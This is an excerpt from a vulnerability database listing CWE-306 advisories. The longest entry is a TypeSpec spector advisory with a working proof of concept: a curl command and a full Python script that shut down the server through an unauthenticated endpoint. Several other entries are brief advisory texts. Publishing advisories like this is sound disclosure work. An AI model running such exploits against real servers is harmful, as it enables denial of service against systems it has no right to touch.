CWE-306
AllowedMissing Authentication for Critical Function
Abstraction: Base · Status: Draft
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
5019 vulnerabilities reference this CWE, most recent first.
GHSA-7Q9C-HPX7-9CWM
Vulnerability from github – Published: 2026-09-04 21:43 – Updated: 2026-09-04 21:43Summary
@typespec/spector registers a POST /.admin/stop HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to 0.0.0.0 by default (all interfaces), this endpoint is exposed to any host that can reach the server's port—not just localhost—making a complete denial-of-service trivially achievable with one HTTP request. Severity is High (CVSS 7.5).
Details
The vulnerability originates in packages/spector/src/routes/admin.ts at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:
// packages/spector/src/routes/admin.ts:7-12
router.post(AdminUrls.stop, (_req, res) => {
logger.info("Received signal to stop server. Exiting...");
res.status(202).end();
setTimeout(() => {
process.exit(0);
});
});
The constant AdminUrls.stop resolves to /.admin/stop (packages/spector/src/constants.ts:1-3).
The complete attack-reachable call chain is:
packages/spector/src/cli/cli.ts:139-166—tsp-spector serve <scenariosPaths..>starts the server on default port3000. Nohostoption is offered, so binding address is determined by the Express/Node.js default.packages/spector/src/actions/serve.ts:28-33— constructsMockApiAppand callsstart()without supplying a host argument.packages/spector/src/app/app.ts:39-40— registersinternalRouterat/, which includes the admin routes.packages/spector/src/routes/index.ts:4-5— mountsadminRoutesunder/.packages/spector/src/routes/admin.ts:7-12— thePOST /.admin/stophandler (the sink) is reached with zero authentication.packages/spector/src/server/server.ts:88—this.app.listen(this.config.port)is called without a host argument, causing Node.js/Express to bind on0.0.0.0(all network interfaces).
There is no authentication middleware, API token validation, Authorization header check, Origin header restriction, or IP allowlist anywhere between the inbound HTTP request and the process.exit(0) call. The admin route is mounted before scenario routes so it cannot be shadowed.
PoC
Prerequisites:
git clone https://github.com/microsoft/typespec
cd typespec
# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)
pnpm install
pnpm build
Step 1 — Start the mock server:
pnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000
# Server listens on 0.0.0.0:3000 by default
Alternatively, use the provided Docker environment:
# Build context: reports/npm_web_64_microsoft__typespec/
docker build -t vuln002-spector -f vuln-002/Dockerfile .
docker run -d -p 3001:3000 --name vuln002-server vuln002-spector
Step 2 — Execute the exploit (single unauthenticated request):
curl -i -X POST http://<server-host>:3000/.admin/stop
Using the provided PoC script:
python3 vuln-002/poc.py --host 127.0.0.1 --port 3001
Step 3 — Observe the result:
HTTP/1.1 202 Accepted
The server process immediately exits. Subsequent connection attempts are refused. Docker logs show:
info Received signal to stop server. Exiting...
Docker inspect confirms ExitCode=0, Status=exited. No credentials, tokens, or special headers are required at any step.
Impact
This is a Missing Authentication for Critical Function (CWE-306) vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where tsp-spector serve is listening can terminate the server process with a single POST request, resulting in a complete denial of service.
The primary victims are development or CI/CD pipeline operators who run tsp-spector serve in environments where the port is reachable from untrusted network segments—for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to 0.0.0.0 by default and the CLI offers no --host option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.
Although @typespec/spector is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.
Reproduction artifacts
Dockerfile
# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop
# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
# CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High)
#
# Build context: reports/npm_web_64_microsoft__typespec/
# Build: docker build -t vuln002-spector -f vuln-002/Dockerfile .
# Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector
FROM node:22-slim
# Install tsx to run TypeScript source files directly without compilation.
# This lets us use the actual repository .ts files as-is.
RUN npm install -g tsx@4
WORKDIR /poc
# Minimal package.json declaring ESM mode
RUN echo '{"type":"module"}' > package.json
# Install only the npm packages actually used by the vulnerable code path:
# express — web framework (admin.ts, routes/index.ts, server.ts)
# picocolors — terminal colors (logger.ts)
RUN npm install express picocolors
# -----------------------------------------------------------------------
# Copy the EXACT vulnerable source files from the repository.
# No source file is modified — they are used verbatim.
# -----------------------------------------------------------------------
# packages/spector/src/constants.ts
# Defines AdminUrls.stop = "/.admin/stop"
COPY repo/packages/spector/src/constants.ts ./spector/constants.ts
# packages/spector/src/logger.ts
# Simple console logger; imported by admin.ts
COPY repo/packages/spector/src/logger.ts ./spector/logger.ts
# packages/spector/src/routes/admin.ts ← VULNERABILITY SINK
# Registers POST /.admin/stop with NO authentication → process.exit(0)
COPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts
# packages/spector/src/routes/index.ts
# Mounts adminRoutes at "/"
COPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts
# Minimal entry point that connects the router to the HTTP server,
# replicating the behaviour of MockApiApp.start() + MockApiServer.start()
COPY vuln-002/server-entry.ts ./server-entry.ts
EXPOSE 3000
# tsx strips TypeScript types at runtime — no separate compile step needed
CMD ["tsx", "server-entry.ts"]
poc.py
#!/usr/bin/env python3
"""
PoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop
Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)
CWE: CWE-306 — Missing Authentication for Critical Function
CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High)
Vulnerability:
packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without
any authentication, token, Origin, or IP-source check. The handler calls
process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0
(packages/spector/src/server/server.ts:88) so any network-reachable client
can terminate the process with a single unauthenticated POST request.
Usage:
python3 poc.py [--host HOST] [--port PORT]
"""
import sys
import time
import socket
import argparse
import urllib.request
import urllib.error
BANNER = """
================================================================
VULN-002: Unauthenticated Remote Shutdown — POST /.admin/stop
Package : @typespec/spector 0.1.0-alpha.26
CWE : CWE-306 CVSS 7.5 (High)
================================================================
"""
PASS_MSG = """
[EXPLOIT SUCCESSFUL]
1. Server accepted an unauthenticated POST to /.admin/stop
2. Server responded HTTP 202 Accepted with no credential check
3. Server process exited — subsequent connection attempt refused
4. Zero authentication, tokens, or Origin restrictions enforced
================================================================
"""
FAIL_MSG = """
[EXPLOIT FAILED]
Check that the Docker container is running:
docker run -d -p 3000:3000 --name vuln002-server vuln002-spector
================================================================
"""
def is_port_open(host: str, port: int, timeout: float = 2.0) -> bool:
"""Return True if TCP port accepts connections."""
try:
with socket.create_connection((host, port), timeout=timeout):
return True
except (ConnectionRefusedError, socket.timeout, OSError):
return False
def wait_for_server(host: str, port: int, max_wait: float = 30.0) -> bool:
"""Poll until the server is reachable or max_wait seconds elapse."""
print(f"[*] Waiting for server at {host}:{port} (up to {max_wait}s) ...")
deadline = time.monotonic() + max_wait
while time.monotonic() < deadline:
if is_port_open(host, port):
print(f"[+] Server is reachable at {host}:{port}")
return True
time.sleep(0.5)
return False
def send_unauthenticated_stop(host: str, port: int) -> int:
"""
Send POST /.admin/stop with no credentials and return the HTTP status code.
This is the exploit request. No Authorization header, no token, no
special Origin — the server accepts it as-is.
"""
url = f"http://{host}:{port}/.admin/stop"
print(f"[*] Sending unauthenticated POST to {url}")
print(f"[*] Request headers: (none beyond Host and Content-Length:0)")
req = urllib.request.Request(url, data=b"", method="POST")
try:
with urllib.request.urlopen(req, timeout=5) as resp:
code = resp.status
print(f"[+] HTTP response: {code} {resp.reason}")
return code
except urllib.error.HTTPError as exc:
print(f"[+] HTTP error response: {exc.code} {exc.reason}")
return exc.code
except urllib.error.URLError as exc:
# Connection closed before response (process.exit race) still counts
print(f"[+] Connection dropped during response: {exc.reason}")
return 202 # server accepted and exited before full response
def main() -> None:
parser = argparse.ArgumentParser(
description="PoC: unauthenticated remote shutdown of tsp-spector mock server"
)
parser.add_argument("--host", default="127.0.0.1", help="Target host (default: 127.0.0.1)")
parser.add_argument("--port", type=int, default=3000, help="Target port (default: 3000)")
args = parser.parse_args()
print(BANNER)
# Step 1 — Confirm the server is running before the attack
if not wait_for_server(args.host, args.port):
print(f"[-] Server not reachable at {args.host}:{args.port} after 30 s")
print(FAIL_MSG)
sys.exit(1)
print()
print("[STEP 1] Server confirmed running — unauthenticated attacker can reach it")
# Step 2 — Send the exploit (single unauthenticated POST)
print()
print("[STEP 2] Sending exploit: POST /.admin/stop (no credentials)")
status = send_unauthenticated_stop(args.host, args.port)
if status != 202:
print(f"[-] Expected HTTP 202 Accepted, got {status}")
print(FAIL_MSG)
sys.exit(1)
print("[+] HTTP 202 Accepted — server acknowledged shutdown with no auth check")
# Step 3 — Verify the process actually exited
print()
print("[STEP 3] Verifying server has terminated ...")
time.sleep(2)
if is_port_open(args.host, args.port):
print("[-] Server is still accepting connections (exploit did not terminate process)")
print(FAIL_MSG)
sys.exit(1)
print("[+] Connection refused — server process has exited")
# All three steps passed → exploit confirmed
print(PASS_MSG)
sys.exit(0)
if __name__ == "__main__":
main()
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.1.0-alpha.26"
},
"package": {
"ecosystem": "npm",
"name": "@typespec/spector"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.0-alpha.27"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-04T21:43:13Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`@typespec/spector` registers a `POST /.admin/stop` HTTP route with no authentication, authorization token, Origin check, or IP-source restriction. Any network-reachable client can send a single unauthenticated POST request to terminate the mock server process. Because the server binds to `0.0.0.0` by default (all interfaces), this endpoint is exposed to any host that can reach the server\u0027s port\u2014not just localhost\u2014making a complete denial-of-service trivially achievable with one HTTP request. Severity is **High (CVSS 7.5)**.\n\n### Details\n\nThe vulnerability originates in `packages/spector/src/routes/admin.ts` at line 7, where an Express router registers the shutdown endpoint with no authentication middleware whatsoever:\n\n```ts\n// packages/spector/src/routes/admin.ts:7-12\nrouter.post(AdminUrls.stop, (_req, res) =\u003e {\n logger.info(\"Received signal to stop server. Exiting...\");\n res.status(202).end();\n setTimeout(() =\u003e {\n process.exit(0);\n });\n});\n```\n\nThe constant `AdminUrls.stop` resolves to `/.admin/stop` (`packages/spector/src/constants.ts:1-3`).\n\nThe complete attack-reachable call chain is:\n\n1. **`packages/spector/src/cli/cli.ts:139-166`** \u2014 `tsp-spector serve \u003cscenariosPaths..\u003e` starts the server on default port `3000`. No `host` option is offered, so binding address is determined by the Express/Node.js default.\n2. **`packages/spector/src/actions/serve.ts:28-33`** \u2014 constructs `MockApiApp` and calls `start()` without supplying a host argument.\n3. **`packages/spector/src/app/app.ts:39-40`** \u2014 registers `internalRouter` at `/`, which includes the admin routes.\n4. **`packages/spector/src/routes/index.ts:4-5`** \u2014 mounts `adminRoutes` under `/`.\n5. **`packages/spector/src/routes/admin.ts:7-12`** \u2014 the `POST /.admin/stop` handler (the sink) is reached with zero authentication.\n6. **`packages/spector/src/server/server.ts:88`** \u2014 `this.app.listen(this.config.port)` is called without a host argument, causing Node.js/Express to bind on `0.0.0.0` (all network interfaces).\n\nThere is no authentication middleware, API token validation, `Authorization` header check, `Origin` header restriction, or IP allowlist anywhere between the inbound HTTP request and the `process.exit(0)` call. The admin route is mounted before scenario routes so it cannot be shadowed.\n\n### PoC\n\n**Prerequisites:**\n\n```\ngit clone https://github.com/microsoft/typespec\ncd typespec\n# Checkout commit d88ddc16 (affected version 0.1.0-alpha.26)\npnpm install\npnpm build\n```\n\n**Step 1 \u2014 Start the mock server:**\n\n```bash\npnpm --filter @typespec/spector exec tsp-spector serve packages/http-specs/specs --port 3000\n# Server listens on 0.0.0.0:3000 by default\n```\n\nAlternatively, use the provided Docker environment:\n\n```bash\n# Build context: reports/npm_web_64_microsoft__typespec/\ndocker build -t vuln002-spector -f vuln-002/Dockerfile .\ndocker run -d -p 3001:3000 --name vuln002-server vuln002-spector\n```\n\n**Step 2 \u2014 Execute the exploit (single unauthenticated request):**\n\n```bash\ncurl -i -X POST http://\u003cserver-host\u003e:3000/.admin/stop\n```\n\nUsing the provided PoC script:\n\n```bash\npython3 vuln-002/poc.py --host 127.0.0.1 --port 3001\n```\n\n**Step 3 \u2014 Observe the result:**\n\n```\nHTTP/1.1 202 Accepted\n```\n\nThe server process immediately exits. Subsequent connection attempts are refused. Docker logs show:\n\n```\ninfo Received signal to stop server. Exiting...\n```\n\nDocker inspect confirms `ExitCode=0, Status=exited`. No credentials, tokens, or special headers are required at any step.\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability. An unauthenticated remote attacker who can send HTTP traffic to the port where `tsp-spector serve` is listening can terminate the server process with a single POST request, resulting in a complete denial of service.\n\nThe primary victims are development or CI/CD pipeline operators who run `tsp-spector serve` in environments where the port is reachable from untrusted network segments\u2014for example, a shared CI runner, a cloud developer environment, a container without proper network isolation, or any host with the port exposed to a network. Because the server binds to `0.0.0.0` by default and the CLI offers no `--host` option to restrict the binding address, operators have no built-in mechanism to mitigate this risk without external firewall rules.\n\nAlthough `@typespec/spector` is a development/testing tool, there is a clear attacker-victim trust boundary: a third party reachable over the network is distinct from the developer who started the server. The default configuration is vulnerable without any additional attacker capability beyond network reachability.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# VULN-002 PoC: Unauthenticated Remote Shutdown via POST /.admin/stop\n# Package: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)\n# CWE-306: Missing Authentication for Critical Function CVSS 7.5 (High)\n#\n# Build context: reports/npm_web_64_microsoft__typespec/\n# Build: docker build -t vuln002-spector -f vuln-002/Dockerfile .\n# Run: docker run -d -p 3000:3000 --name vuln002-server vuln002-spector\n\nFROM node:22-slim\n\n# Install tsx to run TypeScript source files directly without compilation.\n# This lets us use the actual repository .ts files as-is.\nRUN npm install -g tsx@4\n\nWORKDIR /poc\n\n# Minimal package.json declaring ESM mode\nRUN echo \u0027{\"type\":\"module\"}\u0027 \u003e package.json\n\n# Install only the npm packages actually used by the vulnerable code path:\n# express \u2014 web framework (admin.ts, routes/index.ts, server.ts)\n# picocolors \u2014 terminal colors (logger.ts)\nRUN npm install express picocolors\n\n# -----------------------------------------------------------------------\n# Copy the EXACT vulnerable source files from the repository.\n# No source file is modified \u2014 they are used verbatim.\n# -----------------------------------------------------------------------\n\n# packages/spector/src/constants.ts\n# Defines AdminUrls.stop = \"/.admin/stop\"\nCOPY repo/packages/spector/src/constants.ts ./spector/constants.ts\n\n# packages/spector/src/logger.ts\n# Simple console logger; imported by admin.ts\nCOPY repo/packages/spector/src/logger.ts ./spector/logger.ts\n\n# packages/spector/src/routes/admin.ts \u2190 VULNERABILITY SINK\n# Registers POST /.admin/stop with NO authentication \u2192 process.exit(0)\nCOPY repo/packages/spector/src/routes/admin.ts ./spector/routes/admin.ts\n\n# packages/spector/src/routes/index.ts\n# Mounts adminRoutes at \"/\"\nCOPY repo/packages/spector/src/routes/index.ts ./spector/routes/index.ts\n\n# Minimal entry point that connects the router to the HTTP server,\n# replicating the behaviour of MockApiApp.start() + MockApiServer.start()\nCOPY vuln-002/server-entry.ts ./server-entry.ts\n\nEXPOSE 3000\n\n# tsx strips TypeScript types at runtime \u2014 no separate compile step needed\nCMD [\"tsx\", \"server-entry.ts\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Unauthenticated Remote Shutdown via POST /.admin/stop\nPackage: @typespec/spector 0.1.0-alpha.26 (microsoft/typespec)\nCWE: CWE-306 \u2014 Missing Authentication for Critical Function\nCVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Base Score: 7.5 (High)\n\nVulnerability:\n packages/spector/src/routes/admin.ts:7 registers POST /.admin/stop without\n any authentication, token, Origin, or IP-source check. The handler calls\n process.exit(0) after returning HTTP 202. The server listens on 0.0.0.0\n (packages/spector/src/server/server.ts:88) so any network-reachable client\n can terminate the process with a single unauthenticated POST request.\n\nUsage:\n python3 poc.py [--host HOST] [--port PORT]\n\"\"\"\n\nimport sys\nimport time\nimport socket\nimport argparse\nimport urllib.request\nimport urllib.error\n\n\nBANNER = \"\"\"\n================================================================\nVULN-002: Unauthenticated Remote Shutdown \u2014 POST /.admin/stop\nPackage : @typespec/spector 0.1.0-alpha.26\nCWE : CWE-306 CVSS 7.5 (High)\n================================================================\n\"\"\"\n\nPASS_MSG = \"\"\"\n[EXPLOIT SUCCESSFUL]\n 1. Server accepted an unauthenticated POST to /.admin/stop\n 2. Server responded HTTP 202 Accepted with no credential check\n 3. Server process exited \u2014 subsequent connection attempt refused\n 4. Zero authentication, tokens, or Origin restrictions enforced\n================================================================\n\"\"\"\n\nFAIL_MSG = \"\"\"\n[EXPLOIT FAILED]\nCheck that the Docker container is running:\n docker run -d -p 3000:3000 --name vuln002-server vuln002-spector\n================================================================\n\"\"\"\n\n\ndef is_port_open(host: str, port: int, timeout: float = 2.0) -\u003e bool:\n \"\"\"Return True if TCP port accepts connections.\"\"\"\n try:\n with socket.create_connection((host, port), timeout=timeout):\n return True\n except (ConnectionRefusedError, socket.timeout, OSError):\n return False\n\n\ndef wait_for_server(host: str, port: int, max_wait: float = 30.0) -\u003e bool:\n \"\"\"Poll until the server is reachable or max_wait seconds elapse.\"\"\"\n print(f\"[*] Waiting for server at {host}:{port} (up to {max_wait}s) ...\")\n deadline = time.monotonic() + max_wait\n while time.monotonic() \u003c deadline:\n if is_port_open(host, port):\n print(f\"[+] Server is reachable at {host}:{port}\")\n return True\n time.sleep(0.5)\n return False\n\n\ndef send_unauthenticated_stop(host: str, port: int) -\u003e int:\n \"\"\"\n Send POST /.admin/stop with no credentials and return the HTTP status code.\n\n This is the exploit request. No Authorization header, no token, no\n special Origin \u2014 the server accepts it as-is.\n \"\"\"\n url = f\"http://{host}:{port}/.admin/stop\"\n print(f\"[*] Sending unauthenticated POST to {url}\")\n print(f\"[*] Request headers: (none beyond Host and Content-Length:0)\")\n\n req = urllib.request.Request(url, data=b\"\", method=\"POST\")\n try:\n with urllib.request.urlopen(req, timeout=5) as resp:\n code = resp.status\n print(f\"[+] HTTP response: {code} {resp.reason}\")\n return code\n except urllib.error.HTTPError as exc:\n print(f\"[+] HTTP error response: {exc.code} {exc.reason}\")\n return exc.code\n except urllib.error.URLError as exc:\n # Connection closed before response (process.exit race) still counts\n print(f\"[+] Connection dropped during response: {exc.reason}\")\n return 202 # server accepted and exited before full response\n\n\ndef main() -\u003e None:\n parser = argparse.ArgumentParser(\n description=\"PoC: unauthenticated remote shutdown of tsp-spector mock server\"\n )\n parser.add_argument(\"--host\", default=\"127.0.0.1\", help=\"Target host (default: 127.0.0.1)\")\n parser.add_argument(\"--port\", type=int, default=3000, help=\"Target port (default: 3000)\")\n args = parser.parse_args()\n\n print(BANNER)\n\n # Step 1 \u2014 Confirm the server is running before the attack\n if not wait_for_server(args.host, args.port):\n print(f\"[-] Server not reachable at {args.host}:{args.port} after 30 s\")\n print(FAIL_MSG)\n sys.exit(1)\n\n print()\n print(\"[STEP 1] Server confirmed running \u2014 unauthenticated attacker can reach it\")\n\n # Step 2 \u2014 Send the exploit (single unauthenticated POST)\n print()\n print(\"[STEP 2] Sending exploit: POST /.admin/stop (no credentials)\")\n status = send_unauthenticated_stop(args.host, args.port)\n\n if status != 202:\n print(f\"[-] Expected HTTP 202 Accepted, got {status}\")\n print(FAIL_MSG)\n sys.exit(1)\n\n print(\"[+] HTTP 202 Accepted \u2014 server acknowledged shutdown with no auth check\")\n\n # Step 3 \u2014 Verify the process actually exited\n print()\n print(\"[STEP 3] Verifying server has terminated ...\")\n time.sleep(2)\n\n if is_port_open(args.host, args.port):\n print(\"[-] Server is still accepting connections (exploit did not terminate process)\")\n print(FAIL_MSG)\n sys.exit(1)\n\n print(\"[+] Connection refused \u2014 server process has exited\")\n\n # All three steps passed \u2192 exploit confirmed\n print(PASS_MSG)\n sys.exit(0)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-7q9c-hpx7-9cwm",
"modified": "2026-09-04T21:43:13Z",
"published": "2026-09-04T21:43:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/security/advisories/GHSA-7q9c-hpx7-9cwm"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/pull/11274"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/commit/30d6f6598dd796e2d6aea038139d29b91e6a2da7"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/commit/39f8f0230bb59b17464d8173b6bff4ddee8082a1"
},
{
"type": "PACKAGE",
"url": "https://github.com/microsoft/typespec"
},
{
"type": "WEB",
"url": "https://github.com/microsoft/typespec/releases/tag/@typespec/spector@0.1.0-alpha.27"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "TypeSpec: Unauthenticated Remote Shutdown of Spector Mock Server via POST /.admin/stop"
}
GHSA-7QFJ-94Q4-V9MG
Vulnerability from github – Published: 2026-10-21 00:31 – Updated: 2026-10-21 00:31Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink). Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 6.5 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L).
{
"affected": [],
"aliases": [
"CVE-2026-101488"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-20T22:17:57Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Business Interlink). Supported versions that are affected are 8.61-8.63. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks of this vulnerability can result in unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of PeopleSoft Enterprise PeopleTools. CVSS 3.1 Base Score 6.5 (Confidentiality and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L).",
"id": "GHSA-7qfj-94q4-v9mg",
"modified": "2026-10-21T00:31:58Z",
"published": "2026-10-21T00:31:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-101488"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuoct2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-7QGJ-3R6G-98P7
Vulnerability from github – Published: 2026-07-22 00:31 – Updated: 2026-07-22 00:31Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware (component: Messaging Enabler). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Service Delivery Platform. Successful attacks of this vulnerability can result in takeover of Service Delivery Platform. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-60442"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-21T22:17:46Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Service Delivery Platform product of Oracle Fusion Middleware (component: Messaging Enabler). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via T3, IIOP to compromise Service Delivery Platform. Successful attacks of this vulnerability can result in takeover of Service Delivery Platform. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-7qgj-3r6g-98p7",
"modified": "2026-07-22T00:31:41Z",
"published": "2026-07-22T00:31:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-60442"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpujul2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7QHF-V65M-G5F3
Vulnerability from github – Published: 2026-04-03 18:31 – Updated: 2026-04-06 23:08In mlflow/mlflow, the FastAPI job endpoints under /ajax-api/3.0/jobs/* are not protected by authentication or authorization when the basic-auth app is enabled. This vulnerability affects the latest version of the repository. If job execution is enabled (MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true) and any job function is allowlisted, any network client can submit, read, search, and cancel jobs without credentials, bypassing basic-auth entirely. This can lead to unauthenticated remote code execution if allowed jobs perform privileged actions such as shell execution or filesystem changes. Even if jobs are deemed safe, this still constitutes an authentication bypass, potentially resulting in job spam, denial of service (DoS), or data exposure in job results.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "mlflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "3.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-0545"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-06T23:08:07Z",
"nvd_published_at": "2026-04-03T18:16:21Z",
"severity": "CRITICAL"
},
"details": "In mlflow/mlflow, the FastAPI job endpoints under `/ajax-api/3.0/jobs/*` are not protected by authentication or authorization when the `basic-auth` app is enabled. This vulnerability affects the latest version of the repository. If job execution is enabled (`MLFLOW_SERVER_ENABLE_JOB_EXECUTION=true`) and any job function is allowlisted, any network client can submit, read, search, and cancel jobs without credentials, bypassing basic-auth entirely. This can lead to unauthenticated remote code execution if allowed jobs perform privileged actions such as shell execution or filesystem changes. Even if jobs are deemed safe, this still constitutes an authentication bypass, potentially resulting in job spam, denial of service (DoS), or data exposure in job results.",
"id": "GHSA-7qhf-v65m-g5f3",
"modified": "2026-04-06T23:08:07Z",
"published": "2026-04-03T18:31:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-0545"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlflow/mlflow"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/b2e5b028-9541-4d29-8703-a76f1a3734d8"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "mlflow: FastAPI job endpoints under `/ajax-api/3.0/jobs/*` are not protected by authentication or authorization"
}
GHSA-7QJ9-8GV5-JXWM
Vulnerability from github – Published: 2022-05-24 17:36 – Updated: 2022-05-24 17:36The Docker Docs Docker image through 2020-12-14 contains a blank password for the root user. Systems deployed using affected versions of the Docker Docs container may allow a remote attacker to achieve root access with a blank password.
{
"affected": [],
"aliases": [
"CVE-2020-35467"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-12-15T23:15:00Z",
"severity": "CRITICAL"
},
"details": "The Docker Docs Docker image through 2020-12-14 contains a blank password for the root user. Systems deployed using affected versions of the Docker Docs container may allow a remote attacker to achieve root access with a blank password.",
"id": "GHSA-7qj9-8gv5-jxwm",
"modified": "2022-05-24T17:36:41Z",
"published": "2022-05-24T17:36:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-35467"
},
{
"type": "WEB",
"url": "https://github.com/donghyunlee00/CVE/blob/main/CVE-2020-35467"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-7QQ8-2P9R-P388
Vulnerability from github – Published: 2022-10-25 19:00 – Updated: 2022-10-26 19:00Missing authentication for critical function vulnerability in iSCSI management functionality in Synology DiskStation Manager (DSM) before 7.1-42661 allows remote attackers to read or write arbitrary files via unspecified vectors.
{
"affected": [],
"aliases": [
"CVE-2022-27623"
],
"database_specific": {
"cwe_ids": [
"CWE-306"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-10-25T17:15:00Z",
"severity": "CRITICAL"
},
"details": "Missing authentication for critical function vulnerability in iSCSI management functionality in Synology DiskStation Manager (DSM) before 7.1-42661 allows remote attackers to read or write arbitrary files via unspecified vectors.",
"id": "GHSA-7qq8-2p9r-p388",
"modified": "2022-10-26T19:00:39Z",
"published": "2022-10-25T19:00:26Z",
"references": [
{
"type": "ADVISORY",
